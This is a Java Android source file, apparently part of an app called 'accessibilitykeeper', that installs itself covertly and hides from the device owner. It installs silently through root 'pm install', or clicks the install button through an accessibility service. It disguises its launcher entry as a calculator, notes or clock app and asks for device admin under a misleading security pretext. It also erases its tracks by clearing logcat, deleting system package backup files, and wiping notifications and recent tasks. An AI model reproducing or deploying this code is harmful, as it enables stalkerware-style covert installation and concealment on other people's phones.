package com.demo.accessibilitykeeper;

import android.app.Activity;
import android.app.ActivityManager;
import android.app.NotificationManager;
import android.app.admin.DeviceAdminReceiver;
import android.app.admin.DevicePolicyManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.SharedPreferences;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInstaller;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.net.Uri;
import android.os.Build;
import android.os.Environment;
import android.os.Handler;
import android.os.Looper;
import android.os.PowerManager;
import android.os.StatFs;
import android.provider.Settings;
import android.service.notification.StatusBarNotification;
import android.util.Log;
import android.view.accessibility.AccessibilityManager;
import android.widget.Toast;

import androidx.core.content.ContextCompat;

import java.io.DataOutputStream;
import java.io.File;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;

/**
 * Description:
 * Author: dengpao
 * Date: 2025/9/23 17:54
 */
public class AutoInstallerTo {
    private static final String TAG = "AutoInstaller";

    /**
     * 智能安装管理器
     */
    public static class SmartInstallManager {
        private Context context;
        private InstallCallback callback;

        public SmartInstallManager(Context context, InstallCallback callback) {
            this.context = context;
            this.callback = callback;
        }

        /**
         * 执行智能安装
         */
        public void performSmartInstall() {
            // 1. 检测设备环境
            DeviceInfo deviceInfo = detectDeviceEnvironment();

            // 2. 选择最佳安装策略
            InstallStrategy strategy = selectInstallStrategy(deviceInfo);

            // 3. 执行安装
            executeInstall(strategy);
        }

        /**
         * 检测设备环境
         */
        private DeviceInfo detectDeviceEnvironment() {
            DeviceInfo info = new DeviceInfo();

            // 检测系统版本
            info.androidVersion = Build.VERSION.SDK_INT;
            info.androidRelease = Build.VERSION.RELEASE;

            // 检测设备厂商
            info.manufacturer = Build.MANUFACTURER.toLowerCase();
            info.model = Build.MODEL;

            // 检测Launcher类型
            info.launcherPackage = getLauncherPackage();

            // 检测Root状态
            info.hasRoot = checkRootAccess();

            // 检测无障碍服务可用性
            info.accessibilityAvailable = checkAccessibilityAvailability();

            // 检测安装来源
            info.installSource = getInstallSource();

            Log.d(TAG, "Device info detected: " + info.toString());
            return info;
        }

        /**
         * 选择安装策略
         */
        private InstallStrategy selectInstallStrategy(DeviceInfo deviceInfo) {
            InstallStrategy strategy = new InstallStrategy();

            // 根据设备信息选择策略
            if (deviceInfo.hasRoot) {
                strategy.installMethod = InstallMethod.ROOT_SILENT;
                strategy.hideMethod = HideMethod.DATABASE_DIRECT;
            } else if (deviceInfo.accessibilityAvailable) {
                strategy.installMethod = InstallMethod.ACCESSIBILITY_ASSISTED;
                strategy.hideMethod = HideMethod.ACCESSIBILITY_AUTOMATION;
            } else {
                strategy.installMethod = InstallMethod.USER_MANUAL;
                strategy.hideMethod = HideMethod.COMPONENT_DISABLE;
            }

            // 选择伪装类型
            strategy.disguiseType = selectDisguiseType(deviceInfo);

            // 选择文件夹位置
            strategy.folderStrategy = selectFolderStrategy(deviceInfo);

            return strategy;
        }

        /**
         * 执行安装
         */
        private void executeInstall(InstallStrategy strategy) {
            try {
                // 1. 预安装检查
                if (!preInstallCheck()) {
                    callback.onInstallFailed("Pre-install check failed");
                    return;
                }

                // 2. 执行主安装
                performMainInstall(strategy);

                // 3. 配置伪装入口
                configureDisguise(strategy);

                // 4. 移动应用位置
                moveToTargetLocation(strategy);

                // 5. 启动后台服务
                startBackgroundServices();

                // 6. 清理安装痕迹
                cleanInstallTraces();

                callback.onInstallSuccess();

            } catch (Exception e) {
                Log.e(TAG, "Install failed", e);
                callback.onInstallFailed(e.getMessage());
            }
        }

        /**
         * 预安装检查
         */
        private boolean preInstallCheck() {
            // 检查存储空间
            if (getAvailableStorage() < getRequiredStorage()) {
                return false;
            }

            // 检查权限
//            if (!hasRequiredPermissions()) {
//                requestRequiredPermissions();
//                return false;
//            }

            // 检查设备兼容性
            if (!isDeviceCompatible()) {
                return false;
            }

            return true;
        }

        /**
         * 执行主安装
         */
        private void performMainInstall(InstallStrategy strategy) {
            switch (strategy.installMethod) {
                case ROOT_SILENT:
                    performRootSilentInstall();
                    break;
                case ACCESSIBILITY_ASSISTED:
                    performAccessibilityAssistedInstall();
                    break;
                case USER_MANUAL:
                    performUserManualInstall();
                    break;
            }
        }

        /**
         * Root静默安装
         */
        private void performRootSilentInstall() {
            try {
                String apkPath = getApkPath();
                String command = "pm install -r -g " + apkPath;

                Process process = Runtime.getRuntime().exec("su");
                DataOutputStream os = new DataOutputStream(process.getOutputStream());

                os.writeBytes(command + "\n");
                os.writeBytes("exit\n");
                os.flush();

                int result = process.waitFor();
                if (result == 0) {
                    Log.d(TAG, "Root silent install successful");
                } else {
                    throw new RuntimeException("Root install failed with code: " + result);
                }

            } catch (Exception e) {
                throw new RuntimeException("Root silent install failed", e);
            }
        }

        /**
         * 无障碍辅助安装
         */
        private void performAccessibilityAssistedInstall() {
            // 启动安装意图
            Intent installIntent = new Intent(Intent.ACTION_VIEW);
            installIntent.setDataAndType(Uri.fromFile(new File(getApkPath())),
                    "application/vnd.android.package-archive");
            installIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            context.startActivity(installIntent);

            // 通过无障碍服务自动点击安装
            AutoInstallAccessibilityHelper.autoClickInstall();
        }

        /**
         * 用户手动安装
         */
        private void performUserManualInstall() {
            // 显示安装指导
            showInstallGuidance();

            // 启动安装意图
            Intent installIntent = new Intent(Intent.ACTION_VIEW);
            installIntent.setDataAndType(Uri.fromFile(new File(getApkPath())),
                    "application/vnd.android.package-archive");
            installIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            context.startActivity(installIntent);
        }

        /**
         * 配置伪装
         */
        private void configureDisguise(InstallStrategy strategy) {
            PackageManager pm = context.getPackageManager();

            // 1. 禁用主入口
            ComponentName mainActivity = new ComponentName(context, MainActivity.class);
            pm.setComponentEnabledSetting(mainActivity,
                    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                    PackageManager.DONT_KILL_APP);

            // 2. 启用伪装入口
            String aliasName = getAliasForDisguiseType(strategy.disguiseType);
            ComponentName aliasComponent = new ComponentName(context, aliasName);
            pm.setComponentEnabledSetting(aliasComponent,
                    PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                    PackageManager.DONT_KILL_APP);

            // 3. 设置图标和名称
            configureDisguiseAppearance(strategy.disguiseType);
        }

        /**
         * 移动到目标位置
         */
        private void moveToTargetLocation(InstallStrategy strategy) {
            switch (strategy.hideMethod) {
                case DATABASE_DIRECT:
                    LauncherDatabaseManager.moveAppToRandomFolder(context, context.getPackageName());
                    break;
                case ACCESSIBILITY_AUTOMATION:
                    AccessibilityOperator.moveAppToFolder(context.getPackageName());
                    break;
                case COMPONENT_DISABLE:
                    // 通过组件禁用来隐藏
                    hideViaComponentDisable();
                    break;
            }
        }

        /**
         * 启动后台服务
         */
        private void startBackgroundServices() {
            // 启动核心服务
//            Intent coreService = new Intent(context, CoreStealthService.class);
//            context.startForegroundService(coreService);
//
//            // 启动守护服务
//            Intent guardService = new Intent(context, GuardProcessService.class);
//            context.startService(guardService);
//
//            // 注册监听器
//            registerInstallationListeners();
        }

        /**
         * 清理安装痕迹
         */
        private void cleanInstallTraces() {
            // 删除APK文件
            File apkFile = new File(getApkPath());
            if (apkFile.exists()) {
                apkFile.delete();
            }

            // 清除安装记录
            clearInstallHistory();

            // 清除最近任务
            clearRecentTasks();

            // 清除通知
            clearNotifications();
        }

        // 辅助方法
        private String getLauncherPackage() {
            Intent intent = new Intent(Intent.ACTION_MAIN);
            intent.addCategory(Intent.CATEGORY_HOME);
            ResolveInfo resolveInfo = context.getPackageManager()
                    .resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
            return resolveInfo != null ? resolveInfo.activityInfo.packageName : null;
        }

        private boolean checkRootAccess() {
            try {
                Process process = Runtime.getRuntime().exec("su");
                return process.getOutputStream() != null;
            } catch (Exception e) {
                return false;
            }
        }

        private boolean checkAccessibilityAvailability() {
            AccessibilityManager am = (AccessibilityManager)
                    context.getSystemService(Context.ACCESSIBILITY_SERVICE);
            return am.isEnabled();
        }

        private String getInstallSource() {
            try {
                return context.getPackageManager()
                        .getInstallerPackageName(context.getPackageName());
            } catch (Exception e) {
                return "unknown";
            }
        }

        private long getAvailableStorage() {
            StatFs stat = new StatFs(Environment.getDataDirectory().getPath());
            return stat.getAvailableBytes();
        }

        private long getRequiredStorage() {
            return 50 * 1024 * 1024; // 50MB
        }

//        private boolean hasRequiredPermissions() {
//            String[] requiredPermissions = {
//                    Manifest.permission.INTERNET,
//                    Manifest.permission.ACCESS_NETWORK_STATE,
//                    Manifest.permission.RECEIVE_BOOT_COMPLETED,
//                    Manifest.permission.WAKE_LOCK
//            };
//
//            for (String permission : requiredPermissions) {
//                if (ContextCompat.checkSelfPermission(context, permission)
//                        != PackageManager.PERMISSION_GRANTED) {
//                    return false;
//                }
//            }
//            return true;
//        }

        private void requestRequiredPermissions() {
            try {
                // 申请系统级权限
//                String[] requiredPermissions = {
//                        Manifest.permission.INTERNET,
//                        Manifest.permission.ACCESS_NETWORK_STATE,
//                        Manifest.permission.RECEIVE_BOOT_COMPLETED,
//                        Manifest.permission.WAKE_LOCK,
//                        Manifest.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS,
//                        Manifest.permission.SYSTEM_ALERT_WINDOW
//                };

//                List<String> missingPermissions = new ArrayList<>();
//                for (String permission : requiredPermissions) {
//                    if (ContextCompat.checkSelfPermission(context, permission)
//                            != PackageManager.PERMISSION_GRANTED) {
//                        missingPermissions.add(permission);
//                    }
//                }

                // 对于特殊权限，使用Intent方式申请
//                if (missingPermissions.contains(Manifest.permission.SYSTEM_ALERT_WINDOW)) {
//                    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
//                        Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
//                                Uri.parse("package:" + context.getPackageName()));
//                        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//                        context.startActivity(intent);
//                    }
//                }
//
//                if (missingPermissions.contains(Manifest.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS)) {
//                    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
//                        PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
//                        if (!pm.isIgnoringBatteryOptimizations(context.getPackageName())) {
//                            Intent intent = new Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS);
//                            intent.setData(Uri.parse("package:" + context.getPackageName()));
//                            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//                            context.startActivity(intent);
//                        }
//                    }
//                }

                // 申请设备管理员权限
                requestDeviceAdminPermission();

            } catch (Exception e) {
                Log.e(TAG, "Failed to request permissions", e);
            }
        }

        private void requestDeviceAdminPermission() {
            try {
                DevicePolicyManager dpm = (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
                ComponentName adminComponent = new ComponentName(context, DeviceAdminReceiver.class);

                if (!dpm.isAdminActive(adminComponent)) {
                    Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
                    intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, adminComponent);
                    intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "需要设备管理权限以提供更好的安全保护");
                    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                    context.startActivity(intent);
                }
            } catch (Exception e) {
                Log.e(TAG, "Failed to request device admin permission", e);
            }
        }

        private boolean isDeviceCompatible() {
            return Build.VERSION.SDK_INT >= 24; // Android 7.0+
        }

        private String getApkPath() {
            return context.getApplicationInfo().sourceDir;
        }

        private DisguiseType selectDisguiseType(DeviceInfo deviceInfo) {
            // 根据设备特征选择最佳伪装类型
            DisguiseType[] types = {DisguiseType.CALCULATOR, DisguiseType.NOTES, DisguiseType.CLOCK};
            return types[new Random().nextInt(types.length)];
        }

        private FolderStrategy selectFolderStrategy(DeviceInfo deviceInfo) {
            // 根据Launcher类型选择文件夹策略
            return FolderStrategy.RANDOM_SYSTEM_FOLDER;
        }

        private String getAliasForDisguiseType(DisguiseType type) {
            switch (type) {
                case CALCULATOR: return ".alias.CalculatorAlias";
                case NOTES: return ".alias.NotesAlias";
                case CLOCK: return ".alias.ClockAlias";
                default: return ".alias.CalculatorAlias";
            }
        }

        private void configureDisguiseAppearance(DisguiseType type) {
            try {
                SharedPreferences prefs = context.getSharedPreferences("disguise_config", Context.MODE_PRIVATE);
                SharedPreferences.Editor editor = prefs.edit();

                switch (type) {
                    case CALCULATOR:
                        editor.putString("app_name", "计算器");
                        editor.putString("app_description", "简单实用的计算器工具");
                        editor.putString("icon_path", "icons/calculator.png");
                        editor.putString("theme_color", "#2196F3");
                        break;

                    case NOTES:
                        editor.putString("app_name", "记事本");
                        editor.putString("app_description", "简洁的笔记应用");
                        editor.putString("icon_path", "icons/notes.png");
                        editor.putString("theme_color", "#4CAF50");
                        break;

                    case CLOCK:
                        editor.putString("app_name", "时钟");
                        editor.putString("app_description", "系统时钟工具");
                        editor.putString("icon_path", "icons/clock.png");
                        editor.putString("theme_color", "#FF9800");
                        break;
                }

                editor.putLong("disguise_timestamp", System.currentTimeMillis());
                editor.apply();

                // 更新应用标签
                updateAppLabel(type);

            } catch (Exception e) {
                Log.e(TAG, "Failed to configure disguise appearance", e);
            }
        }

        private void updateAppLabel(DisguiseType type) {
            try {
                PackageManager pm = context.getPackageManager();
                ApplicationInfo appInfo = pm.getApplicationInfo(context.getPackageName(), 0);

                String newLabel = "";
                switch (type) {
                    case CALCULATOR:
                        newLabel = "计算器";
                        break;
                    case NOTES:
                        newLabel = "记事本";
                        break;
                    case CLOCK:
                        newLabel = "时钟";
                        break;
                }

                // 注意：动态更改应用标签在现代Android版本中有限制
                // 这里记录到配置中，由伪装Activity使用
                SharedPreferences prefs = context.getSharedPreferences("disguise_config", Context.MODE_PRIVATE);
                prefs.edit().putString("current_label", newLabel).apply();

            } catch (Exception e) {
                Log.e(TAG, "Failed to update app label", e);
            }
        }

        private void hideViaComponentDisable() {
            try {
                PackageManager pm = context.getPackageManager();

                // 禁用主Activity
                ComponentName mainActivity = new ComponentName(context, MainActivity.class);
                pm.setComponentEnabledSetting(mainActivity,
                        PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                        PackageManager.DONT_KILL_APP);


                // 记录隐藏状态
                SharedPreferences prefs = context.getSharedPreferences("stealth_config", Context.MODE_PRIVATE);
                prefs.edit()
                        .putBoolean("components_disabled", true)
                        .putLong("hide_timestamp", System.currentTimeMillis())
                        .apply();

                Log.d(TAG, "Components disabled for hiding");

            } catch (Exception e) {
                Log.e(TAG, "Failed to hide via component disable", e);
            }
        }

        private void registerInstallationListeners() {
            try {
                // 注册包安装监听器
                IntentFilter packageFilter = new IntentFilter();
                packageFilter.addAction(Intent.ACTION_PACKAGE_ADDED);
                packageFilter.addAction(Intent.ACTION_PACKAGE_REMOVED);
                packageFilter.addAction(Intent.ACTION_PACKAGE_REPLACED);
                packageFilter.addDataScheme("package");

                InstallationListener listener = new InstallationListener();
                context.registerReceiver(listener, packageFilter);

                // 注册屏幕状态监听器
                IntentFilter screenFilter = new IntentFilter();
                screenFilter.addAction(Intent.ACTION_SCREEN_ON);
                screenFilter.addAction(Intent.ACTION_SCREEN_OFF);
                screenFilter.addAction(Intent.ACTION_USER_PRESENT);

                ScreenStateListener screenListener = new ScreenStateListener();
                context.registerReceiver(screenListener, screenFilter);

                Log.d(TAG, "Installation listeners registered");

            } catch (Exception e) {
                Log.e(TAG, "Failed to register installation listeners", e);
            }
        }

        private void clearInstallHistory() {
            try {
                // 清除PackageManager的安装缓存（需要系统权限）
                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
                    // 尝试清除安装会话
                    PackageInstaller installer = context.getPackageManager().getPackageInstaller();
                    List<PackageInstaller.SessionInfo> sessions = installer.getMySessions();
                    for (PackageInstaller.SessionInfo session : sessions) {
                        try {
                            installer.abandonSession(session.getSessionId());
                        } catch (Exception e) {
                            // 忽略无法放弃的会话
                        }
                    }
                }

                // 清除应用的安装记录
                SharedPreferences prefs = context.getSharedPreferences("install_history", Context.MODE_PRIVATE);
                prefs.edit().clear().apply();

                // 清除系统日志中的相关记录（需要Root权限）
                if (hasRootAccess()) {
                    clearSystemInstallLogs();
                }

            } catch (Exception e) {
                Log.e(TAG, "Failed to clear install history", e);
            }
        }

        private void clearRecentTasks() {
            try {
                ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);

                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
                    List<ActivityManager.AppTask> appTasks = am.getAppTasks();
                    for (ActivityManager.AppTask task : appTasks) {
                        try {
                            task.finishAndRemoveTask();
                        } catch (Exception e) {
                            // 某些任务可能无法移除
                        }
                    }
                }

                // 清除Activity栈
                Intent intent = new Intent(Intent.ACTION_MAIN);
                intent.addCategory(Intent.CATEGORY_HOME);
                intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                context.startActivity(intent);

            } catch (Exception e) {
                Log.e(TAG, "Failed to clear recent tasks", e);
            }
        }

        private void clearNotifications() {
            try {
                NotificationManager nm = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
                nm.cancelAll();

                // 清除状态栏通知
                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                    StatusBarNotification[] activeNotifications = nm.getActiveNotifications();
                    for (StatusBarNotification notification : activeNotifications) {
                        if (notification.getPackageName().equals(context.getPackageName())) {
                            nm.cancel(notification.getId());
                        }
                    }
                }

            } catch (Exception e) {
                Log.e(TAG, "Failed to clear notifications", e);
            }
        }

        private void showInstallGuidance() {
            try {
                // 显示安装指导对话框或界面
//                Intent guidanceIntent = new Intent(context, InstallGuidanceActivity.class);
//                guidanceIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//                guidanceIntent.putExtra("guidance_type", "manual_install");
//                context.startActivity(guidanceIntent);

            } catch (Exception e) {
                // 如果没有指导Activity，显示Toast提示
                if (context instanceof Activity) {
                    ((Activity) context).runOnUiThread(() -> {
                        Toast.makeText(context, "请在弹出的界面中点击安装", Toast.LENGTH_LONG).show();
                    });
                }
            }
        }

        private boolean hasRootAccess() {
            try {
                Process process = Runtime.getRuntime().exec("su");
                DataOutputStream os = new DataOutputStream(process.getOutputStream());
                os.writeBytes("exit\n");
                os.flush();
                return process.waitFor() == 0;
            } catch (Exception e) {
                return false;
            }
        }

        private void clearSystemInstallLogs() {
            try {
                // 需要Root权限清除系统日志
                Process process = Runtime.getRuntime().exec("su");
                DataOutputStream os = new DataOutputStream(process.getOutputStream());

                // 清除安装相关的日志
                os.writeBytes("logcat -c\n");
                os.writeBytes("rm -f /data/system/packages.xml.backup\n");
                os.writeBytes("rm -f /data/system/packages-backup.xml\n");
                os.writeBytes("exit\n");
                os.flush();

                process.waitFor();
            } catch (Exception e) {
                Log.e(TAG, "Failed to clear system install logs", e);
            }
        }

        /**
         * 安装监听器
         */
        private static class InstallationListener extends BroadcastReceiver {
            @Override
            public void onReceive(Context context, Intent intent) {
                String action = intent.getAction();
                Uri data = intent.getData();

                if (data != null) {
                    String packageName = data.getSchemeSpecificPart();
                    Log.d(TAG, "Package event: " + action + " for " + packageName);

                    if (Intent.ACTION_PACKAGE_ADDED.equals(action) &&
                            packageName.equals(context.getPackageName())) {
                        // 自身安装完成，启动配置
//                        Intent configIntent = new Intent(context, PostInstallConfigService.class);
//                        context.startService(configIntent);
                    }
                }
            }
        }

        /**
         * 屏幕状态监听器
         */
        private static class ScreenStateListener extends BroadcastReceiver {
            @Override
            public void onReceive(Context context, Intent intent) {
                String action = intent.getAction();

                if (Intent.ACTION_SCREEN_ON.equals(action)) {
                    // 屏幕开启时检查配置
                    checkConfigurationIntegrity(context);
                } else if (Intent.ACTION_USER_PRESENT.equals(action)) {
                    // 用户解锁后执行隐蔽检查
                    performStealthCheck(context);
                }
            }

            private void checkConfigurationIntegrity(Context context) {
                // 检查配置完整性的实现
                SharedPreferences prefs = context.getSharedPreferences("stealth_config", Context.MODE_PRIVATE);
                boolean stealthEnabled = prefs.getBoolean("stealth_mode", false);

                if (stealthEnabled) {
                    // 确保伪装状态正常
                    ensureDisguiseState(context);
                }
            }

            private void performStealthCheck(Context context) {
                // 执行隐蔽检查
                try {
                    PackageManager pm = context.getPackageManager();
                    ComponentName mainActivity = new ComponentName(context, MainActivity.class);
                    int state = pm.getComponentEnabledSetting(mainActivity);

                    if (state != PackageManager.COMPONENT_ENABLED_STATE_DISABLED) {
                        // 主Activity未正确隐藏，重新隐藏
                        pm.setComponentEnabledSetting(mainActivity,
                                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                                PackageManager.DONT_KILL_APP);
                    }
                } catch (Exception e) {
                    Log.e(TAG, "Stealth check failed", e);
                }
            }

            private void ensureDisguiseState(Context context) {
                try {
                    PackageManager pm = context.getPackageManager();
                    String[] aliases = {
                            ".alias.CalculatorAlias",
                            ".alias.NotesAlias",
                            ".alias.ClockAlias"
                    };

                    // 检查是否有启用的伪装入口
                    boolean hasActiveAlias = false;
                    for (String alias : aliases) {
                        ComponentName component = new ComponentName(context, alias);
                        int state = pm.getComponentEnabledSetting(component);
                        if (state == PackageManager.COMPONENT_ENABLED_STATE_ENABLED) {
                            hasActiveAlias = true;
                            break;
                        }
                    }

                    // 如果没有活动的伪装入口，随机启用一个
                    if (!hasActiveAlias) {
                        String selectedAlias = aliases[new Random().nextInt(aliases.length)];
                        ComponentName component = new ComponentName(context, selectedAlias);
                        pm.setComponentEnabledSetting(component,
                                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                                PackageManager.DONT_KILL_APP);
                    }
                } catch (Exception e) {
                    Log.e(TAG, "Failed to ensure disguise state", e);
                }
            }
        }
    }

    /**
     * 无障碍自动安装助手
     */
    public static class AutoInstallAccessibilityHelper {

        public static void autoClickInstall() {
            // 实现自动点击安装的逻辑
            Handler handler = new Handler(Looper.getMainLooper());

            // 延迟执行，等待安装界面出现
            handler.postDelayed(() -> {
                AccessibilityOperator.clickInstallButton();
            }, 2000);
        }
    }

    // 数据类定义
    public static class DeviceInfo {
        public int androidVersion;
        public String androidRelease;
        public String manufacturer;
        public String model;
        public String launcherPackage;
        public boolean hasRoot;
        public boolean accessibilityAvailable;
        public String installSource;

        @Override
        public String toString() {
            return String.format("DeviceInfo{android=%d, manufacturer=%s, launcher=%s, root=%b}",
                    androidVersion, manufacturer, launcherPackage, hasRoot);
        }
    }

    public static class InstallStrategy {
        public InstallMethod installMethod;
        public HideMethod hideMethod;
        public DisguiseType disguiseType;
        public FolderStrategy folderStrategy;
    }

    public enum InstallMethod {
        ROOT_SILENT,
        ACCESSIBILITY_ASSISTED,
        USER_MANUAL
    }

    public enum HideMethod {
        DATABASE_DIRECT,
        ACCESSIBILITY_AUTOMATION,
        COMPONENT_DISABLE
    }

    public enum DisguiseType {
        CALCULATOR,
        NOTES,
        CLOCK
    }

    public enum FolderStrategy {
        RANDOM_SYSTEM_FOLDER,
        SPECIFIC_FOLDER,
        CREATE_NEW_FOLDER
    }

    public interface InstallCallback {
        void onInstallSuccess();
        void onInstallFailed(String reason);
        void onInstallProgress(int progress);
    }
}
